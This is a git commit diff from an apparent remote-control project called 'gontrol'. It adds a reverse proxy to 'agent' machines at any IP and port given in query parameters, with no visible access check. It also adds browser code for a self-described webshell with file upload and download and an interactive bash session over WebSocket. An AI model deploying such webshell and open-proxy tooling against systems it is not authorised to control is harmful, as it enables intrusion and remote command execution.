included working proxy agent for interactive client connections
This commit is contained in:
parent
362b1da1a0
commit
6a0a4e9b80
203
main.go
203
main.go
|
@ -17,7 +17,9 @@ import (
|
|||
"sync"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/net/html"
|
||||
"net/http/httputil"
|
||||
"net/url"
|
||||
// "golang.org/x/net/html"
|
||||
"gontrol/src/logger"
|
||||
"gontrol/src/randomname"
|
||||
api "gontrol/src/server/api"
|
||||
|
@ -217,75 +219,164 @@ func logsHandler(w http.ResponseWriter, r *http.Request) {
|
|||
renderTemplate(w, "templates/partials/logs_partial.html", logs)
|
||||
}
|
||||
|
||||
// func proxyAgentHandler(w http.ResponseWriter, r *http.Request) {
|
||||
// agentIP := r.URL.Query().Get("ip") // e.g., 10.0.0.42
|
||||
// if agentIP == "" {
|
||||
// http.Error(w, "Missing 'ip' parameter", http.StatusBadRequest)
|
||||
// return
|
||||
// }
|
||||
// agentPort := r.URL.Query().Get("port")
|
||||
// if agentIP == "" {
|
||||
// http.Error(w, "Missing 'port' parameter", http.StatusBadRequest)
|
||||
// return
|
||||
// }
|
||||
|
||||
// // Construct the URL to proxy to
|
||||
// agentURL := "http://" + agentIP + ":" + agentPort
|
||||
|
||||
// // Send request to agent server
|
||||
// resp, err := http.Get(agentURL)
|
||||
// if err != nil {
|
||||
// http.Error(w, "Failed to reach agent: "+err.Error(), http.StatusBadGateway)
|
||||
// return
|
||||
// }
|
||||
// defer resp.Body.Close()
|
||||
|
||||
// // Parse the HTML from the agent's response
|
||||
// doc, err := html.Parse(resp.Body)
|
||||
// if err != nil {
|
||||
// http.Error(w, "Failed to parse agent response: "+err.Error(), http.StatusInternalServerError)
|
||||
// return
|
||||
// }
|
||||
|
||||
// // Extract all <link> elements for stylesheets
|
||||
// var stylesheets []string
|
||||
// var extractStylesheets func(*html.Node)
|
||||
// extractStylesheets = func(n *html.Node) {
|
||||
// if n.Type == html.ElementNode && n.Data == "link" {
|
||||
// for _, attr := range n.Attr {
|
||||
// if attr.Key == "rel" && attr.Val == "stylesheet" {
|
||||
// for _, attr := range n.Attr {
|
||||
// if attr.Key == "href" {
|
||||
// stylesheets = append(stylesheets, attr.Val)
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// for c := n.FirstChild; c != nil; c = c.NextSibling {
|
||||
// extractStylesheets(c)
|
||||
// }
|
||||
// }
|
||||
// extractStylesheets(doc)
|
||||
|
||||
// // Return the HTML and inject the stylesheets in the <head> section
|
||||
// w.Header().Set("Content-Type", "text/html")
|
||||
// w.WriteHeader(http.StatusOK)
|
||||
|
||||
// // Inject the stylesheets into the <head> section of your page
|
||||
// fmt.Fprintf(w, "<html><head>")
|
||||
// for _, stylesheet := range stylesheets {
|
||||
// // Make sure the stylesheet is loaded properly (absolute URLs or proxy it)
|
||||
// fmt.Fprintf(w, `<link rel="stylesheet" href="%s">`, stylesheet)
|
||||
// }
|
||||
// fmt.Fprintf(w, "</head><body>")
|
||||
|
||||
// // Now, serve the HTML content of the agent web app (or an iframe)
|
||||
// // Output the rest of the HTML (including the agent's content inside iframe)
|
||||
// fmt.Fprintf(w, `
|
||||
// <iframe src="%s" width="100%" height="800px" style="border:none;">
|
||||
// Your browser does not support iframes.
|
||||
// </iframe>
|
||||
// `, agentURL)
|
||||
|
||||
// fmt.Fprintf(w, "</body></html>")
|
||||
// }
|
||||
|
||||
// proxyAgentHandler proxies requests to the agent server specified by IP and port query parameters.
|
||||
// It strips the "/proxyAgent" prefix from the request path before forwarding.
|
||||
func proxyAgentHandler(w http.ResponseWriter, r *http.Request) {
|
||||
agentIP := r.URL.Query().Get("ip") // e.g., 10.0.0.42
|
||||
agentIP := r.URL.Query().Get("ip")
|
||||
if agentIP == "" {
|
||||
http.Error(w, "Missing 'ip' parameter", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Construct the URL to proxy to
|
||||
agentURL := "http://" + agentIP + ":8080"
|
||||
|
||||
// Send request to agent server
|
||||
resp, err := http.Get(agentURL)
|
||||
if err != nil {
|
||||
http.Error(w, "Failed to reach agent: "+err.Error(), http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// Parse the HTML from the agent's response
|
||||
doc, err := html.Parse(resp.Body)
|
||||
if err != nil {
|
||||
http.Error(w, "Failed to parse agent response: "+err.Error(), http.StatusInternalServerError)
|
||||
agentPort := r.URL.Query().Get("port")
|
||||
if agentPort == "" {
|
||||
http.Error(w, "Missing 'port' parameter", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Extract all <link> elements for stylesheets
|
||||
var stylesheets []string
|
||||
var extractStylesheets func(*html.Node)
|
||||
extractStylesheets = func(n *html.Node) {
|
||||
if n.Type == html.ElementNode && n.Data == "link" {
|
||||
for _, attr := range n.Attr {
|
||||
if attr.Key == "rel" && attr.Val == "stylesheet" {
|
||||
for _, attr := range n.Attr {
|
||||
if attr.Key == "href" {
|
||||
stylesheets = append(stylesheets, attr.Val)
|
||||
}
|
||||
}
|
||||
}
|
||||
agentBaseURL := "http://" + agentIP + ":" + agentPort
|
||||
|
||||
targetURL, err := url.Parse(agentBaseURL)
|
||||
if err != nil {
|
||||
http.Error(w, "Invalid agent URL: "+err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
proxy := httputil.NewSingleHostReverseProxy(targetURL)
|
||||
|
||||
// Modify the Director function to rewrite the request URL before sending to agent
|
||||
originalDirector := proxy.Director
|
||||
proxy.Director = func(req *http.Request) {
|
||||
originalDirector(req)
|
||||
|
||||
// Strip "/proxyAgent" prefix from the path
|
||||
const prefix = "/proxyAgent"
|
||||
if strings.HasPrefix(req.URL.Path, prefix) {
|
||||
req.URL.Path = strings.TrimPrefix(req.URL.Path, prefix)
|
||||
if req.URL.Path == "" {
|
||||
req.URL.Path = "/"
|
||||
}
|
||||
}
|
||||
for c := n.FirstChild; c != nil; c = c.NextSibling {
|
||||
extractStylesheets(c)
|
||||
}
|
||||
|
||||
// Preserve original query parameters except ip and port (remove those for backend)
|
||||
query := req.URL.Query()
|
||||
query.Del("ip")
|
||||
query.Del("port")
|
||||
req.URL.RawQuery = query.Encode()
|
||||
|
||||
// Optional: set the Host header to the target host
|
||||
req.Host = targetURL.Host
|
||||
}
|
||||
extractStylesheets(doc)
|
||||
|
||||
// Return the HTML and inject the stylesheets in the <head> section
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
|
||||
// Inject the stylesheets into the <head> section of your page
|
||||
fmt.Fprintf(w, "<html><head>")
|
||||
for _, stylesheet := range stylesheets {
|
||||
// Make sure the stylesheet is loaded properly (absolute URLs or proxy it)
|
||||
fmt.Fprintf(w, `<link rel="stylesheet" href="%s">`, stylesheet)
|
||||
}
|
||||
fmt.Fprintf(w, "</head><body>")
|
||||
|
||||
// Now, serve the HTML content of the agent web app (or an iframe)
|
||||
// Output the rest of the HTML (including the agent's content inside iframe)
|
||||
fmt.Fprintf(w, `
|
||||
<iframe src="%s" width="100%" height="800px" style="border:none;">
|
||||
Your browser does not support iframes.
|
||||
</iframe>
|
||||
`, agentURL)
|
||||
|
||||
fmt.Fprintf(w, "</body></html>")
|
||||
proxy.ServeHTTP(w, r)
|
||||
}
|
||||
|
||||
// func proxyAgentHandler(w http.ResponseWriter, r *http.Request) {
|
||||
// agentIP := r.URL.Query().Get("ip")
|
||||
// if agentIP == "" {
|
||||
// http.Error(w, "Missing 'ip' parameter", http.StatusBadRequest)
|
||||
// return
|
||||
// }
|
||||
// agentPort := r.URL.Query().Get("port")
|
||||
// if agentPort == "" {
|
||||
// http.Error(w, "Missing 'port' parameter", http.StatusBadRequest)
|
||||
// return
|
||||
// }
|
||||
|
||||
// agentURL := "http://" + agentIP + ":" + agentPort + "/"
|
||||
|
||||
// resp, err := http.Get(agentURL)
|
||||
// if err != nil {
|
||||
// http.Error(w, "Failed to reach agent: "+err.Error(), http.StatusBadGateway)
|
||||
// return
|
||||
// }
|
||||
// defer resp.Body.Close()
|
||||
|
||||
// // Copy headers from agent response (you might want to filter some)
|
||||
// for k, v := range resp.Header {
|
||||
// for _, vv := range v {
|
||||
// w.Header().Add(k, vv)
|
||||
// }
|
||||
// }
|
||||
// w.WriteHeader(resp.StatusCode)
|
||||
|
||||
// // Stream the entire response body directly to the client
|
||||
// io.Copy(w, resp.Body)
|
||||
// }
|
||||
|
||||
|
||||
func main() {
|
||||
|
||||
|
|
|
@ -0,0 +1,52 @@
|
|||
document.addEventListener("DOMContentLoaded", function() {
|
||||
const input = document.getElementById("command-input");
|
||||
const fileInput = document.getElementById("fileInput");
|
||||
let isUploadTriggered = false;
|
||||
|
||||
document.querySelector("form").addEventListener("submit", function(event) {
|
||||
const command = input.value.trim();
|
||||
const parts = command.split(" ");
|
||||
|
||||
if (parts[0] === "upload") {
|
||||
event.preventDefault();
|
||||
if (parts.length === 1) {
|
||||
fileInput.click();
|
||||
isUploadTriggered = true;
|
||||
} else {
|
||||
const filePath = parts[1];
|
||||
const targetPath = parts.length > 2 ? parts[2] : ".";
|
||||
uploadFileFromBrowser(filePath, targetPath);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
fileInput.addEventListener("change", function () {
|
||||
if (fileInput.files.length > 0 && isUploadTriggered) {
|
||||
const file = fileInput.files[0];
|
||||
input.value = 'upload "' + file.name + '"';
|
||||
isUploadTriggered = false;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
function uploadFileFromBrowser(filePath, targetPath) {
|
||||
const fileInput = document.getElementById("fileInput");
|
||||
if (fileInput.files.length === 0) {
|
||||
console.error("No file selected");
|
||||
alert("No file selected");
|
||||
return;
|
||||
}
|
||||
const file = fileInput.files[0];
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
fetch("/upload", {
|
||||
method: "POST",
|
||||
body: formData,
|
||||
})
|
||||
.then((response) => response.text())
|
||||
.then((data) => {
|
||||
console.log("Upload successful:", data);
|
||||
document.getElementById("command-input").value = "";
|
||||
})
|
||||
.catch((error) => console.error("Upload failed:", error));
|
||||
}
|
|
@ -0,0 +1,48 @@
|
|||
/* :root{ */
|
||||
/* --grey-color: #1B2B34; */
|
||||
/* --error-color: #EC5f67; */
|
||||
/* --warning-color: #F99157; */
|
||||
/* --yellow-color: #FAC863; */
|
||||
/* --info-color: #99C794; */
|
||||
/* --teal-color: #5FB3B3; */
|
||||
/* --blue-color: #6699CC; */
|
||||
/* --debug-color: #C594C5; */
|
||||
/* --fatal-color: #AB7967; */
|
||||
/* } */
|
||||
|
||||
#logs-container {
|
||||
height: 300px; /* or any fixed height you prefer */
|
||||
overflow-y: auto; /* enables vertical scroll when content overflows */
|
||||
border: 1px solid #fff; /* optional: for visual clarity */
|
||||
padding: 10px; /* optional: spacing inside the container */
|
||||
/* background-color: #f8f9fa; /1* optional: subtle background for log readability *1/ */
|
||||
}
|
||||
|
||||
.log-info, .log-warning, .log-error, .log-fatal, .log-debug{
|
||||
font-family: "Lucida Console", Monaco, monospace;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
.log-info {
|
||||
color: var(--bs-success);
|
||||
}
|
||||
.log-warning {
|
||||
color: var(--bs-warning);
|
||||
}
|
||||
.log-error {
|
||||
color: var(--bs-danger);
|
||||
}
|
||||
.log-fatal {
|
||||
color: var(--bs-purple);
|
||||
}
|
||||
.log-debug {
|
||||
color: var(--bs-primary);
|
||||
}
|
||||
|
||||
#graph-container {
|
||||
margin: 0; padding: 0;
|
||||
}
|
||||
|
||||
tr.selected-row {
|
||||
background-color: var(--bs-table-hover-bg) !important;
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
const helpMsg = `
|
||||
This is a non interactive Webshell with an interactive mode, including some
|
||||
additional features to ease communications between server and client.
|
||||
Available Commands:
|
||||
upload Upload files to the server through the file selector of the browser.
|
||||
download <file> Download files from the server to your local download directory.
|
||||
theme <theme> Change the colorscheme of the shell. Type theme to get an overview of all colorschemes.
|
||||
start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to go back to non-interactive mode.
|
||||
`
|
||||
// const helpMsg = 'This is a non interactive Webshell including some additional features to ease communications between server and client.\n Available Commands:\n upload\t\t\t\tUpload files to the server through the file selector of the browser.\n download <file>\t\t\tDownload files from the server to your local download directory.\n theme <theme>\t\t\tChange the colorscheme of the shell. Type theme to get an overview of all colorschemes.\n start-interactive\t\t\tOpens a bash shell in an interactive terminal. Type ctrl+d to exi the interactive shell.'
|
||||
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
const input = document.getElementById("command-input");
|
||||
const terminal = document.getElementById("terminal");
|
||||
|
||||
input.addEventListener("keydown", function(event) {
|
||||
if (event.key === "Enter") {
|
||||
const command = input.value.trim();
|
||||
if (command.startsWith("help")) {
|
||||
event.preventDefault();
|
||||
addLogEntry(helpMsg, 'info');
|
||||
input.value = '';
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
function addLogEntry(message, type) {
|
||||
const logEntry = document.createElement("div");
|
||||
logEntry.classList.add(type === 'error' ? 'error' : 'info');
|
||||
logEntry.textContent = message;
|
||||
terminal.appendChild(logEntry);
|
||||
terminal.scrollTop = terminal.scrollHeight;
|
||||
}
|
||||
|
||||
});
|
|
@ -0,0 +1,132 @@
|
|||
document.addEventListener("DOMContentLoaded", function() {
|
||||
const input = document.getElementById("command-input");
|
||||
if (!input) return;
|
||||
let commandHistory = JSON.parse(sessionStorage.getItem("commandHistory")) || [];
|
||||
let historyIndex = commandHistory.length;
|
||||
let tabIndex = -1;
|
||||
let tabMatches = [];
|
||||
|
||||
document.querySelector("form").addEventListener("submit", function(event) {
|
||||
const command = input.value.trim();
|
||||
if (command) {
|
||||
commandHistory.push(command);
|
||||
sessionStorage.setItem("commandHistory", JSON.stringify(commandHistory));
|
||||
historyIndex = commandHistory.length;
|
||||
}
|
||||
});
|
||||
|
||||
window.addEventListener("keydown", function(event) {
|
||||
if (document.activeElement !== input) return;
|
||||
|
||||
const cursorPos = input.selectionStart;
|
||||
const textLength = input.value.length;
|
||||
|
||||
// Prevent default behavior for specific Ctrl+Key shortcuts
|
||||
if (event.ctrlKey && ["w", "n", "p", "h", "e", "a", "k", "u", "d", "r", "t"].includes(event.key.toLowerCase())) {
|
||||
event.preventDefault();
|
||||
event.stopPropagation();
|
||||
}
|
||||
|
||||
// Ctrl+A: Move cursor to the beginning
|
||||
if (event.ctrlKey && event.key === "a") {
|
||||
input.setSelectionRange(0, 0);
|
||||
}
|
||||
|
||||
// Ctrl+E: Move cursor to the end
|
||||
else if (event.ctrlKey && event.key === "e") {
|
||||
input.setSelectionRange(textLength, textLength);
|
||||
}
|
||||
|
||||
// Ctrl+U: Clear the input field
|
||||
else if (event.ctrlKey && event.key === "u") {
|
||||
input.value = "";
|
||||
}
|
||||
|
||||
// Ctrl+K: Delete everything after the cursor
|
||||
else if (event.ctrlKey && event.key === "k") {
|
||||
input.value = input.value.substring(0, cursorPos);
|
||||
}
|
||||
|
||||
// Ctrl+W: Delete the previous word
|
||||
else if (event.ctrlKey && event.key === "w") {
|
||||
const beforeCursor = input.value.substring(0, cursorPos);
|
||||
const afterCursor = input.value.substring(cursorPos);
|
||||
const newBeforeCursor = beforeCursor.replace(/\S+\s*$/, ""); // Delete last word
|
||||
input.value = newBeforeCursor + afterCursor;
|
||||
input.setSelectionRange(newBeforeCursor.length, newBeforeCursor.length);
|
||||
}
|
||||
|
||||
// Ctrl+H: Delete the previous character (Backspace)
|
||||
else if (event.ctrlKey && event.key === "h") {
|
||||
if (cursorPos > 0) {
|
||||
input.value = input.value.substring(0, cursorPos - 1) + input.value.substring(cursorPos);
|
||||
input.setSelectionRange(cursorPos - 1, cursorPos - 1);
|
||||
}
|
||||
}
|
||||
|
||||
// Ctrl+D: Delete character under cursor (or clear input if empty)
|
||||
else if (event.ctrlKey && event.key === "d") {
|
||||
if (textLength === 0) {
|
||||
console.log("Ctrl+D: No input, simulating EOF");
|
||||
} else if (cursorPos < textLength) {
|
||||
input.value = input.value.substring(0, cursorPos) + input.value.substring(cursorPos + 1);
|
||||
input.setSelectionRange(cursorPos, cursorPos);
|
||||
}
|
||||
}
|
||||
|
||||
// Ctrl+P: Previous command (up)
|
||||
else if (event.ctrlKey && event.key === "p") {
|
||||
if (historyIndex > 0) {
|
||||
historyIndex--;
|
||||
input.value = commandHistory[historyIndex];
|
||||
} else if (historyIndex === 0) {
|
||||
input.value = commandHistory[0];
|
||||
}
|
||||
}
|
||||
|
||||
// Ctrl+N: Next command (down)
|
||||
else if (event.ctrlKey && event.key === "n") {
|
||||
if (historyIndex < commandHistory.length - 1) {
|
||||
historyIndex++;
|
||||
input.value = commandHistory[historyIndex];
|
||||
} else {
|
||||
historyIndex = commandHistory.length;
|
||||
input.value = "";
|
||||
}
|
||||
}
|
||||
|
||||
// Ctrl+R: Prevent page reload (for future reverse search)
|
||||
else if (event.ctrlKey && event.key === "r") {
|
||||
console.log("Reverse search triggered (not yet implemented)");
|
||||
}
|
||||
|
||||
// Tab Completion
|
||||
else if (event.key === "Tab") {
|
||||
event.preventDefault();
|
||||
const currentText = input.value.trim();
|
||||
|
||||
if (currentText === "") return;
|
||||
|
||||
// Find all matching commands from history
|
||||
if (tabIndex === -1) {
|
||||
tabMatches = commandHistory.filter(cmd => cmd.startsWith(currentText));
|
||||
if (tabMatches.length === 0) return;
|
||||
}
|
||||
|
||||
// Cycle through matches
|
||||
if (event.shiftKey) {
|
||||
tabIndex = tabIndex > 0 ? tabIndex - 1 : tabMatches.length - 1; // Shift+Tab goes backward
|
||||
} else {
|
||||
tabIndex = (tabIndex + 1) % tabMatches.length;
|
||||
}
|
||||
|
||||
input.value = tabMatches[tabIndex];
|
||||
}
|
||||
|
||||
// Allow Enter key to submit form
|
||||
if (event.key === "Enter") {
|
||||
tabIndex = -1; // Reset tab completion cycle
|
||||
return;
|
||||
}
|
||||
}, true);
|
||||
});
|
|
@ -0,0 +1,132 @@
|
|||
document.addEventListener("DOMContentLoaded", function () {
|
||||
const input = document.getElementById("command-input");
|
||||
// We assume your normal terminal UI is in the element with id "terminal".
|
||||
const normalTerminal = document.getElementById("terminal");
|
||||
let interactiveWS = null;
|
||||
let interactiveMode = false;
|
||||
const ansi_up = new AnsiUp;
|
||||
|
||||
input.addEventListener("keydown", function (event) {
|
||||
if (!interactiveMode && event.key === "Enter") {
|
||||
const command = input.value.trim();
|
||||
if (command === "start-interactive") {
|
||||
startInteractiveSession();
|
||||
input.value = "";
|
||||
event.preventDefault();
|
||||
return;
|
||||
}
|
||||
// Otherwise, your normal HTTP submission…
|
||||
}
|
||||
});
|
||||
|
||||
function startInteractiveSession() {
|
||||
interactiveMode = true;
|
||||
// Hide the normal terminal and input.
|
||||
normalTerminal.style.display = "none";
|
||||
input.style.display = "none";
|
||||
|
||||
// Create a new container for xterm.js.
|
||||
const xtermContainer = document.createElement("div");
|
||||
xtermContainer.id = "xterm-container";
|
||||
xtermContainer.style.position = "fixed";
|
||||
xtermContainer.style.top = "0";
|
||||
xtermContainer.style.left = "0";
|
||||
xtermContainer.style.width = window.innerWidth + "px";
|
||||
xtermContainer.style.height = window.innerHeight + "px";
|
||||
xtermContainer.style.zIndex = "1000";
|
||||
document.body.appendChild(xtermContainer);
|
||||
|
||||
const term = new Terminal({
|
||||
cursorBlink: true,
|
||||
cursorStyle: 'block',
|
||||
scrollback: 1000,
|
||||
fontSize: 18,
|
||||
theme: {
|
||||
background: "#222",
|
||||
foreground: "#eee"
|
||||
}
|
||||
});
|
||||
const fitAddon = new FitAddon.FitAddon();
|
||||
term.loadAddon(fitAddon);
|
||||
term.open(xtermContainer);
|
||||
setTimeout(() => {
|
||||
fitAddon.fit();
|
||||
term.focus();
|
||||
console.log("Initial fit: container width =", xtermContainer.offsetWidth, "cols =", term.cols);
|
||||
}, 100);
|
||||
|
||||
interactiveWS = new WebSocket("ws://" + location.host + "/terminal");
|
||||
interactiveWS.binaryType = "arraybuffer";
|
||||
|
||||
interactiveWS.onopen = function () {
|
||||
sendResize();
|
||||
};
|
||||
|
||||
interactiveWS.onmessage = function (event) {
|
||||
const text = new TextDecoder("utf-8").decode(event.data);
|
||||
term.write(text);
|
||||
};
|
||||
|
||||
interactiveWS.onclose = function () {
|
||||
interactiveMode = false;
|
||||
term.write("\r\n--- Interactive session ended ---\r\n");
|
||||
if (xtermContainer.parentNode) {
|
||||
xtermContainer.parentNode.removeChild(xtermContainer);
|
||||
}
|
||||
window.removeEventListener("resize", handleResize);
|
||||
normalTerminal.style.display = "block";
|
||||
input.style.display = "block";
|
||||
input.focus();
|
||||
};
|
||||
|
||||
interactiveWS.onerror = function (err) {
|
||||
term.write("\r\n--- Error in interactive session ---\r\n");
|
||||
console.error("Interactive WS error:", err);
|
||||
interactiveMode = false;
|
||||
if (xtermContainer.parentNode) {
|
||||
xtermContainer.parentNode.removeChild(xtermContainer);
|
||||
}
|
||||
window.removeEventListener("resize", handleResize);
|
||||
normalTerminal.style.display = "block";
|
||||
input.style.display = "block";
|
||||
};
|
||||
|
||||
term.onData(function (data) {
|
||||
if (data === "\x04") {
|
||||
term.write("\r\n--- Exiting interactive session ---\r\n");
|
||||
interactiveWS.close();
|
||||
} else {
|
||||
interactiveWS.send(data);
|
||||
}
|
||||
});
|
||||
|
||||
function handleResize() {
|
||||
const newWidth = window.innerWidth;
|
||||
const newHeight = window.innerHeight;
|
||||
xtermContainer.style.width = newWidth + "px";
|
||||
xtermContainer.style.height = newHeight + "px";
|
||||
console.log("Resizing: new width =", newWidth, "new height =", newHeight);
|
||||
fitAddon.fit();
|
||||
sendResize();
|
||||
}
|
||||
window.addEventListener("resize", handleResize);
|
||||
|
||||
// Send a resize message using a custom control prefix (0xFF).
|
||||
function sendResize() {
|
||||
const resizeData = {
|
||||
type: "resize",
|
||||
cols: term.cols,
|
||||
rows: term.rows
|
||||
};
|
||||
const jsonStr = JSON.stringify(resizeData);
|
||||
const encoder = new TextEncoder();
|
||||
const jsonBuffer = encoder.encode(jsonStr);
|
||||
// Create a Uint8Array with one extra byte for the prefix.
|
||||
const buffer = new Uint8Array(jsonBuffer.length + 1);
|
||||
buffer[0] = 0xFF; // Control prefix.
|
||||
buffer.set(jsonBuffer, 1);
|
||||
interactiveWS.send(buffer.buffer);
|
||||
console.log("Sent resize: cols =", term.cols, "rows =", term.rows);
|
||||
}
|
||||
}
|
||||
});
|
|
@ -1,48 +1,155 @@
|
|||
/* :root{ */
|
||||
/* --grey-color: #1B2B34; */
|
||||
/* --error-color: #EC5f67; */
|
||||
/* --warning-color: #F99157; */
|
||||
/* --yellow-color: #FAC863; */
|
||||
/* --info-color: #99C794; */
|
||||
/* --teal-color: #5FB3B3; */
|
||||
/* --blue-color: #6699CC; */
|
||||
/* --debug-color: #C594C5; */
|
||||
/* --fatal-color: #AB7967; */
|
||||
/* } */
|
||||
|
||||
#logs-container {
|
||||
height: 300px; /* or any fixed height you prefer */
|
||||
overflow-y: auto; /* enables vertical scroll when content overflows */
|
||||
border: 1px solid #fff; /* optional: for visual clarity */
|
||||
padding: 10px; /* optional: spacing inside the container */
|
||||
/* background-color: #f8f9fa; /1* optional: subtle background for log readability *1/ */
|
||||
:root {
|
||||
--bg-color: #222;
|
||||
--text-color: #eee;
|
||||
--command-color: #75df0b;
|
||||
--error-color: #ff5555;
|
||||
--directory-color: #1bc9e7;
|
||||
--ps1-color: #75df0b;
|
||||
}
|
||||
|
||||
.log-info, .log-warning, .log-error, .log-fatal, .log-debug{
|
||||
font-family: "Lucida Console", Monaco, monospace;
|
||||
font-size: 12px;
|
||||
/* Default is pwny theme */
|
||||
html, body {
|
||||
background-color: var(--bg-color);
|
||||
color: var(--text-color);
|
||||
font-family: monospace;
|
||||
font-size: 14pt;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
#terminal {
|
||||
flex: 1;
|
||||
padding: 12px;
|
||||
overflow-y: auto;
|
||||
white-space: pre-wrap;
|
||||
border: none;
|
||||
margin: 10px 10px 0 10px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
padding-bottom: 3vh;
|
||||
}
|
||||
#terminal form {
|
||||
display: flex;
|
||||
/* flex-wrap: nowrap; */
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
}
|
||||
#terminal .command {
|
||||
white-space: nowrap;
|
||||
/* overflow: hidden; */
|
||||
/* text-overflow: ellipsis; */
|
||||
}
|
||||
/* current-line is for interactive mode */
|
||||
#current-line {
|
||||
display: inline;
|
||||
}
|
||||
input {
|
||||
flex-grow: 1;
|
||||
font-size: 14pt;
|
||||
background: var(--bg-color);
|
||||
color: var(--text-color);
|
||||
border: none;
|
||||
min-width: 100vh;
|
||||
font-family: monospace;
|
||||
margin-left: 8px;
|
||||
}
|
||||
input:focus {
|
||||
outline: none;
|
||||
}
|
||||
span.cursor {
|
||||
display: inline-block;
|
||||
width: 10px;
|
||||
animation: blink 1s step-end infinite;
|
||||
vertical-align: bottom;
|
||||
}
|
||||
@keyframes blink {
|
||||
50% { opacity: 0; }
|
||||
}
|
||||
span.command {
|
||||
color: var(--command-color);
|
||||
}
|
||||
span.error {
|
||||
color: var(--error-color);
|
||||
}
|
||||
span.directory {
|
||||
color: var(--directory-color);
|
||||
}
|
||||
span.ps1 {
|
||||
color: var(--ps1-color);
|
||||
}
|
||||
|
||||
.log-info {
|
||||
color: var(--bs-success);
|
||||
|
||||
.info {
|
||||
/* text-align: justify; */
|
||||
/* color: var(--text-color); */
|
||||
/* animation: 0.75s 2 changeColor; */
|
||||
animation: changeColor 1.75s forwards;
|
||||
/* max-width: 80ch; */
|
||||
}
|
||||
.log-warning {
|
||||
color: var(--bs-warning);
|
||||
}
|
||||
.log-error {
|
||||
color: var(--bs-danger);
|
||||
}
|
||||
.log-fatal {
|
||||
color: var(--bs-purple);
|
||||
}
|
||||
.log-debug {
|
||||
color: var(--bs-primary);
|
||||
@keyframes changeColor {
|
||||
from { color: var(--command-color) };
|
||||
to { color: var(--text-color) };
|
||||
}
|
||||
|
||||
#graph-container {
|
||||
margin: 0; padding: 0;
|
||||
.error {
|
||||
/* text-align: justify; */
|
||||
color: var(--error-color);
|
||||
/* max-width: 80ch; */
|
||||
}
|
||||
|
||||
tr.selected-row {
|
||||
background-color: var(--bs-table-hover-bg) !important;
|
||||
.light-theme {
|
||||
--bg-color: #fff;
|
||||
--text-color: #222;
|
||||
--command-color: #007700;
|
||||
--error-color: #cc0000;
|
||||
--directory-color: #0044cc;
|
||||
--ps1-color: #222;
|
||||
}
|
||||
|
||||
.catppuccin-theme {
|
||||
--bg-color: #363a4f;
|
||||
--text-color: #cad3f5;
|
||||
--command-color: #a6da95;
|
||||
--error-color: #ed8796;
|
||||
--directory-color: #7dc4e4;
|
||||
--ps1-color: #c6a0f6;
|
||||
}
|
||||
|
||||
.doom1-theme {
|
||||
--bg-color: #21242b;
|
||||
--text-color: #bbc2cf;
|
||||
--command-color: #50fa7b;
|
||||
--error-color: #da8548;
|
||||
--directory-color: #51afef;
|
||||
--ps1-color: #ffa8ff;
|
||||
}
|
||||
|
||||
.gruvbox-theme {
|
||||
--bg-color: #282828;
|
||||
--text-color: #ebdbb2;
|
||||
--command-color: #b8bb26;
|
||||
--error-color: #fb4934;
|
||||
--directory-color: #83a598;
|
||||
--ps1-color: #d3869b;
|
||||
}
|
||||
|
||||
.nord-theme {
|
||||
--bg-color: #2e3440;
|
||||
--text-color: #d8dee9;
|
||||
--command-color: #8fbcbb;
|
||||
--error-color: #bf616a;
|
||||
--directory-color: #81a1c1;
|
||||
--ps1-color: #a3be8c;
|
||||
}
|
||||
|
||||
.dracula-theme {
|
||||
--bg-color: #282a36;
|
||||
--text-color: #f8f8f2;
|
||||
--command-color: #6272a4;
|
||||
--error-color: #ff5555;
|
||||
--directory-color: #bd93f9;
|
||||
--ps1-color: #ff79c6;
|
||||
}
|
||||
|
|
|
@ -0,0 +1,46 @@
|
|||
document.addEventListener("DOMContentLoaded", function () {
|
||||
const input = document.getElementById("command-input");
|
||||
const terminal = document.getElementById("terminal");
|
||||
const availableThemes = ["pwny", "light", "catppuccin", "doom1", "dracula", "gruvbox", "nord"];
|
||||
|
||||
// Load the saved theme from localStorage, defaulting to "pwny"
|
||||
let currentTheme = localStorage.getItem("theme") || "pwny";
|
||||
applyTheme(currentTheme);
|
||||
|
||||
input.addEventListener("keydown", function (event) {
|
||||
if (event.key === "Enter") {
|
||||
const command = input.value.trim();
|
||||
if (command.startsWith("theme")) {
|
||||
event.preventDefault();
|
||||
const parts = command.split(" ");
|
||||
if (parts.length === 1) {
|
||||
addLogEntry(`Available themes: ${availableThemes.join(', ')}. Current theme: ${currentTheme}`, 'info');
|
||||
} else {
|
||||
const theme = parts[1];
|
||||
applyTheme(theme);
|
||||
addLogEntry(`Theme changed to: ${theme}`, 'info');
|
||||
}
|
||||
input.value = ''; // Clear input
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
function applyTheme(themeName) {
|
||||
if (availableThemes.includes(themeName)) {
|
||||
document.body.className = ""; // Clear all theme classes
|
||||
document.body.classList.add(`${themeName}-theme`); // Add the new theme class
|
||||
localStorage.setItem("theme", themeName);
|
||||
currentTheme = themeName;
|
||||
} else {
|
||||
addLogEntry(`Error: Theme "${themeName}" not found. Available themes: ${availableThemes.join(', ')}`, 'error');
|
||||
}
|
||||
}
|
||||
|
||||
function addLogEntry(message, type) {
|
||||
const logEntry = document.createElement("div");
|
||||
logEntry.classList.add(type === 'error' ? 'error' : 'info');
|
||||
